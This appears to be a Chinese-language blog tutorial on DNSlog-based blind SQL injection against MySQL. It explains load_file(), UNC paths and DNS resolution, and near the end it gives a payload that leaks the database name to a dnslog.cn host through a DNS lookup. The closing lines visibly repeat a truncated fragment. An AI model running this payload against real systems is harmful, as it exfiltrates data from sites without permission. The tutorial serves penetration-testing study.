DNSlog注入
dnslog注入也相当于盲注的一种,但是比盲注效率高一点。
在一定的情况下,如果我们想对一个网站使用布尔或时间盲注,手动注入会对WAF的绕过会非常有帮助,但是效率不高,因此我们往往会使用SQLmap等工具注入,但是这种工具对很多网站都有限制。这时候就该尝试DNSlog注入。
这种注入方式,相较于布尔或时间盲注而言,好处在于可以一组一组进行测试,不用再一个一个字符进行逐以测试,比其他两个盲注效率要高,但是要求服务器的读写权限都要对MySQL开启,如果没有开启的话,是不能使用这种注入方式的。
load_file()函数
Mysql数据库的load_file()
函数不单可以读取本地文件,还可以通过UNC路径
访问远程文件。
DnsLog注入就是利用load_file()函数访问远程文件的特点,对延时盲注等无回显的注入或其他无回显的攻击带来回显。
例如:
SELECT * LOAD_FILE('/home/username/myfile.txt')
上述 MySQL 命令将读取文件 myfile.txt
MySQL LOAD_FILE 函数需要满足几个条件才能成功执行。
- 您尝试加载的文件必须存在于运行 MySQL 服务器的同一主机中。例如,如果您的 MySQL 服务器安装在 example.com 上,则文件必须仅存在于 example.com 上。
- 必须指定文件的完整路径名。因此,如果您的文件位于用户主目录中,假设用户名是 w3r,则必须指定“/home/w3r/somefile.txt”
- 执行命令的用户必须具有 FILE 权限。您可以使用以下命令向用户授予 FILE 权限:“GRANT FILE on dbname.* TO user@localhost”。
- 相关文件必须可供所有人读取。如果您尝试加载用户主目录层次结构中不存在的文件,请确保您对该文件具有读取权限。
- MySQL 服务器有一个 max_allowed_packet 变量。相关文件不得超过该变量中指定的值。您可以使用“显示变量如‘%max_allowed_packet%’;”检查 max_allowed_packet 的值;您必须具有 MySQL root 权限才能执行此命令。您可以在 MySQL 配置文件中更改 max_allowed_packet 的值。打开 my.ini 或 my.cnf 文件,找到 max_allowed_packet=some_value 行并将该值更改为所需的值,例如,如果您想将值设置为 50MB,请写入 50MB。
- MySQL 有一个 secure_file_priv 变量。如果该变量的值设置为非空目录名,则要加载的文件必须位于该目录中。您可以在 MySQL 配置文件中找到 secure_file_priv 变量及其值,并可以对其进行更改。
UNC路径
UNC (Universal Naming Convention) / 通用命名规则,也叫通用命名规范、通用命名约定
UNC为网络(主要指局域网)上资源的完整 Windows 2000 名称。
1.什么是UNC路径?
UNC路径就是类似\softer这样的形式的网络路径。
UNC为网络(主要指局域网)上资源的完整 Windows 2000 名称。
格式: \servername\sharename ,其中 servername 是服务器名,sharename 是共享资源的名称。
目录或文件的 UNC 名称可以包括共享名称下的目录路径,格式为:\servername\sharename\directory\filename。
计算机名称的前面始终使用双反斜线 \\
。
在 UNC 中,计算机名称又称为主机名称。
对于 UNC 路径,存在以下几条规则:
- UNC 路径不能包含盘符(如 D)。
- 不能浏览至共享目录的上级目录。
- 用于文档和工具的存储相对路径名选项对 UNC 路径不起作用。
DNS解析
网上找到一张解释DNS解析过程非常通透的图片:
上面这个例子:本地DNS服务器会依次询问 根、.cn、.com.cn、.cloudcrowd.com.cn 逐步获得结果
正常来讲每个查询记录都会在相应DNS服务器上留下相关的查询日志,一般来说企业或者自己部署的DNS在上图标红位置处,可以查到我们的DNS解析记录(我们向谁查了什么样的域名) 简单粗暴一点可以这么理解。
原理
select load_file(concat(“//”,database(),“.dfnyy4.dnslog.cn/123”))
load_file()函数路径用双引号包裹的整体,所以用concat()拼接。
//为UNC路径
.dfnyy4.dnslog.cn为我们通过dnslog获取的网址
DNSlog注入网址
cat()拼接。
//为UNC路径
.dfnyy4.dnslog.cn为我们通过dnslog获取的网址
DNSlog注入网址
导肮链接:https://blog.csdn.net/m0_60571842/article/details/132403032